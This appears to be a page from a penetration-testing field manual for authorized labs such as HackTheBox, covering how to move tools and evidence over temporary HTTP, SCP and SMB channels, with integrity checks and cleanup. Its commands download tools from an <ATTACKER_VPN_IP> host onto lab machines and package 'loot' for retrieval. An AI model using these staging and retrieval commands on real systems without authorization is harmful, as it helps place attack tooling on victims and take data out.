repositories

voidwalker.py

Penetration testing arsenal builder and workspace manager for macOS and Linux

clonegit clone https://git.daemon-sec.xyz/voidwalker.py.git
transfer.htmlHTML179 lines11.3 KiBraw download
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="color-scheme" content="light">
  <meta name="theme-color" content="#faf4ed">
  <meta name="description" content="HTTP, SCP and SMB file-transfer guide with integrity checks for authorized labs.">
  <title>Voidwalker Field Manual // File transfer</title>
  <link rel="stylesheet" href="assets/style.css?v=2">
  <script src="assets/app.js?v=2" defer></script>
</head>
<body>
  <a class="skip-link" href="#content">Skip to content</a>
  <header class="site-header">
    <div class="header-inner">
      <a class="brand" href="index.html"><span class="brand-mark" aria-hidden="true">V</span><span>Voidwalker<small>offline field manual</small></span></a>
      <button class="nav-toggle" type="button" aria-expanded="false" aria-controls="site-nav">menu</button>
      <nav class="site-nav" id="site-nav" aria-label="Handbook">
        <a href="index.html">Setup</a><a href="tmux.html">tmux</a><a href="pe.html">pe</a><a href="htb-workflow.html">HTB</a><a href="zsh-terminal.html">Shell</a><a href="recon.html">Recon</a><a href="web.html">Web</a><a href="ad-windows.html">AD</a><a href="privesc.html">PrivEsc</a><a href="transfer.html">Transfer</a><a href="toolbox.html">Tools</a>
      </nav>
    </div>
  </header>

  <div class="page-shell">
    <main id="content">
      <section class="hero">
        <p class="eyebrow">Module 09 // controlled movement</p>
        <h1>Move only what <span class="accent">you need.</span></h1>
        <p class="lede">Choose the smallest reliable lab channel, bind it to the intended interface, verify the artifact at both ends, and tear the channel down when the transfer is complete.</p>
        <div class="hero-meta"><span class="tag">HTTP</span><span class="tag">SCP/SFTP</span><span class="tag">SMB</span><span class="tag">SHA-256</span></div>
      </section>

      <div class="notice"><div><strong>Authorized labs only.</strong> Transfer only tooling and evidence allowed by the exercise. Never expose a share to an untrusted network, move real-world data, or leave a temporary listener running after the lab.</div></div>

      <div class="search-box">
        <label for="page-search">Filter this page</label>
        <input id="page-search" data-page-search type="search" placeholder="Try: HTTP, SCP, SMB, hash, cleanup…" autocomplete="off">
        <span class="search-hint"><kbd>/</kbd> focus · <kbd>Esc</kbd> clear</span>
      </div>
      <p class="filter-summary" data-filter-summary aria-live="polite"></p>

      <section id="prepare" data-search-item data-search="prepare scope route interface staging permissions channel direction filename size listener">
        <h2>Prepare the channel</h2>
        <pre><code>pe status
pe vpn route "$IP"
umask 077
mkdir -p transfer
chmod 700 transfer</code></pre>
        <div class="grid">
          <article class="panel"><h3>Direction</h3><p>Decide whether the lab host pulls from you or you pull from it. Prefer the direction that requires the fewest new listeners and firewall changes.</p></article>
          <article class="panel"><h3>Interface</h3><p>Use the VPN or explicitly authorized lab address. Bind temporary services to that address rather than every interface.</p></article>
          <article class="panel"><h3>Artifact</h3><p>Record the expected filename, size and SHA-256 before transfer. Keep tooling separate from collected evidence.</p></article>
          <article class="panel"><h3>Lifetime</h3><p>Start the channel immediately before use, watch its terminal, then stop it as soon as both ends verify the file.</p></article>
        </div>
      </section>

      <section id="http" data-search-item data-search="HTTP python server curl wget PowerShell Invoke-WebRequest Linux Windows download bind port 8000">
        <h2>Ephemeral HTTP</h2>
        <p>HTTP is convenient for one-way lab downloads when credentials are not required. Serve only a dedicated staging directory and bind to the lab-facing address.</p>
        <pre><code># workstation: serve ./transfer on the lab interface
python3 -m http.server 8000 \
  --bind &lt;ATTACKER_VPN_IP&gt; --directory ./transfer

# Linux lab host
curl -fLO http://&lt;ATTACKER_VPN_IP&gt;:8000/tool
# or
wget -O tool http://&lt;ATTACKER_VPN_IP&gt;:8000/tool

# Windows PowerShell lab host
Invoke-WebRequest -UseBasicParsing -Uri 'http://&lt;ATTACKER_VPN_IP&gt;:8000/tool.exe' -OutFile "$env:TEMP\tool.exe"</code></pre>
        <ul class="checklist">
          <li>Check <code>ss -ltnp</code> on the workstation and confirm the listener address before sharing the URL.</li>
          <li>The Python server has no transport encryption or authentication; use it only on the isolated lab path.</li>
          <li>Watch the request log, stop with <kbd>Ctrl-C</kbd>, and do not serve your home or target-root directory.</li>
        </ul>
      </section>

      <section id="scp" data-search-item data-search="SCP SFTP SSH authenticated upload download preserve permissions remote Linux OpenSSH">
        <h2>SCP and SFTP</h2>
        <p>When SSH is already exposed and the supplied account is authorized, SCP/SFTP provides an authenticated channel without adding a new service.</p>
        <pre><code># upload a tool to the authorized lab account
scp -p ./transfer/tool user@"$IP":/tmp/tool

# retrieve a result into the private staging directory
scp user@"$IP":/tmp/result.txt ./transfer/

# interactive, inspect-before-transfer workflow
sftp user@"$IP"</code></pre>
        <div class="notice info"><div><strong>Verify the host key.</strong> A changed key may be expected after an HTB machine reset, but compare it with the current lab context before removing any known-host entry.</div></div>
        <p>Use the least-privileged destination available, avoid overwriting system files, and set executable permission only when the lab task requires it.</p>
      </section>

      <section id="smb" data-search-item data-search="SMB share impacket smbserver Windows copy Copy-Item smbclient anonymous temporary credentials port 445">
        <h2>Temporary SMB</h2>
        <p>SMB is useful for Windows-oriented labs. Share only the staging directory, bind the server to the lab address, and use short-lived credentials if the exercise supports them.</p>
        <pre><code># workstation: temporary read-only lab share
SMB_SERVER=$(command -v smbserver.py || command -v impacket-smbserver)
sudo "$SMB_SERVER" -smb2support -readonly \
  -ip &lt;ATTACKER_VPN_IP&gt; transfer ./transfer

# Windows CMD lab host
copy \\&lt;ATTACKER_VPN_IP&gt;\transfer\tool.exe %TEMP%\tool.exe

# Windows PowerShell lab host
Copy-Item '\\&lt;ATTACKER_VPN_IP&gt;\transfer\tool.exe' "$env:TEMP\tool.exe"

# Linux lab host
smbclient "//&lt;ATTACKER_VPN_IP&gt;/transfer" -N -c 'get tool'</code></pre>
        <ul class="checklist">
          <li>Confirm TCP/445 is reachable only over the intended lab path and watch the server terminal for unexpected clients.</li>
          <li>Anonymous examples are appropriate only for a short-lived isolated lab. Prefer temporary authentication where practical.</li>
          <li>Stop the server with <kbd>Ctrl-C</kbd>; do not reuse lab share passwords elsewhere.</li>
        </ul>
      </section>

      <section id="package" data-search-item data-search="archive tar gzip package directory evidence filenames permissions listing extraction">
        <h2>Package multiple files</h2>
        <p>Archive a known directory rather than serving a broad tree. List the archive before transfer and inspect paths again before extracting on the receiving side.</p>
        <pre><code>tar --create --gzip --file transfer/evidence.tgz \
  --directory loot .
tar --list --gzip --file transfer/evidence.tgz

# extract into a dedicated directory
mkdir -p received
tar --extract --gzip --file transfer/evidence.tgz \
  --directory received</code></pre>
        <p>Avoid archives containing absolute paths or unexpected parent-directory components. Treat collected evidence as private even when the archive itself is compressed.</p>
      </section>

      <section id="integrity" data-search-item data-search="integrity SHA256 checksum hash sha256sum Get-FileHash size compare sender receiver">
        <h2>Verify integrity</h2>
        <div class="grid">
          <article class="panel"><h3>Linux</h3><pre><code># sender
sha256sum transfer/tool

# receiver
sha256sum tool</code></pre></article>
          <article class="panel"><h3>Windows PowerShell</h3><pre><code>Get-FileHash "$env:TEMP\tool.exe" -Algorithm SHA256</code></pre></article>
        </div>
        <p>Compare the complete digest out of band with the sender value. Also check the file size and type; a successful HTTP status or copy command does not prove the artifact is the one intended.</p>
        <pre><code>wc -c &lt; transfer/tool
file transfer/tool</code></pre>
      </section>

      <section id="troubleshoot" data-search-item data-search="troubleshoot route firewall listener DNS HTTP status permissions filename architecture failure">
        <h2>Troubleshoot methodically</h2>
        <ol class="step-list">
          <li><div><h3>Route</h3><p>Confirm both endpoints and the lab interface. Re-run <code>pe vpn route</code> for the target.</p></div></li>
          <li><div><h3>Listener</h3><p>Use <code>ss -ltnp</code> to verify the expected address and port, then inspect the serving terminal.</p></div></li>
          <li><div><h3>Request</h3><p>Check the exact URL/share name, filename case, destination permissions and returned status.</p></div></li>
          <li><div><h3>Artifact</h3><p>Verify hash, architecture and file type before assuming a transfer problem is an execution problem.</p></div></li>
        </ol>
      </section>

      <section id="cleanup" data-search-item data-search="cleanup stop server listener temporary files clipboard credentials evidence notes hash backup">
        <h2>Close the channel</h2>
        <ul class="checklist">
          <li>Stop the HTTP/SMB server and confirm its port is no longer listening.</li>
          <li>Remove temporary tooling from the lab host when the exercise permits and no longer needs it.</li>
          <li>Move retained evidence into the target’s private tree; apply restrictive permissions.</li>
          <li>Clear temporary passwords and UNC paths from the clipboard and avoid publishing transfer logs with sensitive names.</li>
          <li>Record the artifact hash, source, destination and cleanup in notes, then run <code>pe backup</code>.</li>
        </ul>
      </section>

      <p class="empty-state" data-empty-state hidden>No file-transfer topic matches that filter. Press <kbd>Esc</kbd> to reset.</p>
      <nav class="page-nav" aria-label="Adjacent pages"><a href="privesc.html">← Privilege escalation</a><a href="toolbox.html">Toolbox index →</a></nav>
    </main>

    <aside class="toc" aria-label="On this page">
      <strong>On this page</strong>
      <ul><li><a href="#prepare">Prepare</a></li><li><a href="#http">HTTP</a></li><li><a href="#scp">SCP/SFTP</a></li><li><a href="#smb">SMB</a></li><li><a href="#package">Archives</a></li><li><a href="#integrity">Integrity</a></li><li><a href="#troubleshoot">Troubleshoot</a></li><li><a href="#cleanup">Cleanup</a></li></ul>
    </aside>
  </div>

  <footer class="site-footer"><strong>VOIDWALKER // FILE TRANSFER</strong><br>Bind narrowly · verify completely · stop promptly</footer>
</body>
</html>